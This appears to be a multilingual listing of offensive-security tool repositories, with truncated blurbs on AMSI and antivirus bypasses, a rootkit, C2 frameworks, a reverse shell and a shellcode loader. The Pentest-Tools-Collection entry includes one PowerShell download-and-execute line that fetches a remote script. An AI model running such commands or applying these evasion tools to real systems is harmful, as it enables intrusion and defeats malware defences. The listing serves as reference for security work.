Amsi-Bypass-Powershell

Sponsorisé par Amsi-Bypass-Powershell Ce dépôt contient quelques méthodes de contournement / évitement de l'Antimalware Scan Interface AMSI que j'ai trouvées sur différents articles de blog. La plupart des scripts sont détectés par AMSI lui-même. Vous devez donc trouver le déclencheur et modifier...

AMSI.fail

AMSI.fail Initialement une fonction Azure en C plus tard portée en JS avec un déclencheur HTTP qui génère des extraits PowerShell obfusqués qui brisent ou désactivent AMSI pour le processus en cours. Les extraits sont sélectionnés aléatoirement dans un petit ensemble de techniques/variations avan...

wmiexec-Pro

wmiexec-Pro Новое поколение wmiexec.py. Содержание 1. Информация 2. Особая благодарность 3. Возможности 4. Начало работы Установка 5. Использование 6. Скриншоты 7. Как это работает? 8. Отказ от ответственности 9. Ссылки Информация Новое поколение wmiexec.py, множество новых функций. Все операции...

BOF_ExecuteAssembly

BOF Execute-Assembly Beacon Object File для Cobalt Strike, выполняющий .NET сборки в beacon с техниками обхода. Обзор Основная архитектура ┌──────────────────────────────────────────────────────────────────────────────┐ │ Beacon Cobalt Strike │ │ родительский процесс │...

Rusty-Playground

Rusty-Playground 🦀 Коллекция программ на Rust, демонстрирующих некоторые приёмы наступательной безопасности и обхода защит. Инструмент| Описание| Ссылки ---|---|--- ClipboardMon| Отслеживает изменения в буфере обмена и записывает его содержимое или копирует файлы в зависимости от обнаруженных...

Pentest-Tools-Collection

Pentest-Tools-Collection Active Directory AMSI https://amsi.fail/ Подборки инструментов WinPwn https://github.com/S3cur3Th1sSh1t/WinPwn Import-Module .\WinPwn.ps1 iexnew-object net.webclient.downloadstring'https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1' Ghostpack...

AMSI-patches-learned-till-now

Изученные AMSI-патчи на данный момент Я задокументировал все AMSI-патчи, которые изучил до сих пор ❗ Моё изучение AMSI-патчей на данный момент. Не относится к активам моей компании! ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ: Этот код пока не предназначен для обхода защиты! Только концептуальный подход! Ссылки: 1...

Nemesis

Nemesis demain, je pousse une mise à jour, changement de licence et aussi quelques nouveaux monstres contre les voleurs de données. outil Windows que j'ai créé parce que j'en avais marre de regarder des forks de jlaive dans des échantillons de malwares sans rien de public pour les déchiqueter au...

Nidhogg

Nidhogg Nidhogg est un rootkit multifonction conçu pour illustrer la variété des opérations possibles depuis l'espace noyau. Son objectif est de fournir un rootkit complet et facile à utiliser, doté de nombreuses fonctionnalités utiles pour les opérations. De plus, il peut être facilement intégré...

LightsOut

LightsOut LightsOut générera une DLL obfusquée qui désactivera AMSI & ETW tout en essayant d'éviter les AV. Cela se fait en randomisant toutes les fonctions WinAPI utilisées, en encodant les chaînes avec XOR, et en utilisant des vérifications de sandbox de base. Mingw-w64 est utilisé pour compile...

GRAT2

GRAT2 C2 c.-.c c.-.c c.-.c c.-.c c.-.c / .. \ / .. \ / .. \ / .. \ / .. \ \ Y / \ Y / \ Y / \ Y / \ Y / .-/'-'-..-/'-'-..-/'-'-..-/'-'-..-/'-'-. || G || || R || || A || || T || || 2 || .' -' '. .' -' '. .' -' '. .' -' '. .' -' '. .-./-'.-..-./-.-..-./-'.-..-./-'.-..-./-'.-. -' -' -' -' -'...

Chimera

Chimera est un script d’obfuscation PowerShell brillant et très bricolé conçu pour contourner AMSI et les solutions antivirus. Il digère des PS1 malveillants connus pour déclencher l’AV et utilise la substitution de chaînes et la concaténation de variables pour échapper aux signatures de détectio...

Chimera

Chimera is a shiny and very hack-ish PowerShell obfuscation script designed to bypass AMSI and antivirus solutions. It digests malicious PS1's known to trigger AV and uses string substitution and variable concatenation to evade common detection signatures. Chimera was created for this write-up an...

ThreatCheck

ThreatCheck Version modifiée de DefenderCheck par Matterpreter. Prend un binaire en entrée soit depuis un fichier sur le disque, soit depuis une URL, le divise jusqu'à identifier précisément les octets que le moteur cible va détecter, puis les affiche à l'écran. Cela peut être utile pour identifi...

Stracciatella

Stracciatella v0.7 Espace d'exécution PowerShell depuis C alias technique SharpPick avec AMSI, ETW et Script Block Logging désactivés pour votre confort. De nos jours, alors que PowerShell est lourdement instrumenté par l'utilisation de techniques telles que : AMSI ETW Script Block Logging Fichie...

dropengine

par @s0lst1c3 Version actuelle : v0.1.0-alpha Prend en charge Python 3.7+. Aperçu Les techniques d'évasion de défense ont tendance à avoir une courte durée de vie, et cela est particulièrement vrai pour les techniques utilisées lors de l'accès initial. De ce fait, les payloads d'accès initial son...

SharpKiller

SharpKiller Пожизненный обход AMSI AMSI-Killer от @ZeroMemoryEx, портированный на .NET Framework 4.8. Требуется дополнительная обфускация https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=VirTool:MSIL/SharpKiller.A&ThreatID=2147895059 Новые интегрированные функции...

Girsh

Girsh Reverse Shell Interactif en Golang Qui ne s'est jamais ennuyé à taper manuellement les quelques lignes pour passer d'un reverse shell à un reverse shell interactif complet spawn tty, stty size..., stty raw -echo ou à taper la commande pour utiliser ConPTY. Description Avec Girsh, lancez-le...

nimcrypt

nimcrypt Un chargeur de shellcode Sliver écrit en Nim ciblant Windows x64. Deux variantes couvrant les deux situations de livraison les plus courantes. Testé contre Windows Defender avec la protection en temps réel activée. Variantes stager Lit un blob de shellcode chiffré depuis le disque, le...

AMSITrigger

AMSITrigger v3 Chasse aux chaînes malveillantes Utilisation : -i, -inputfile=VALUE Nom du fichier PowerShell -u, -url=VALUE URL ex. https://10.1.1.1/Invoke-NinjaCopy.ps1 -f, -format=VALUE Format de sortie : 1 - Afficher uniquement les déclencheurs 2 - Afficher les déclencheurs avec les numéros de...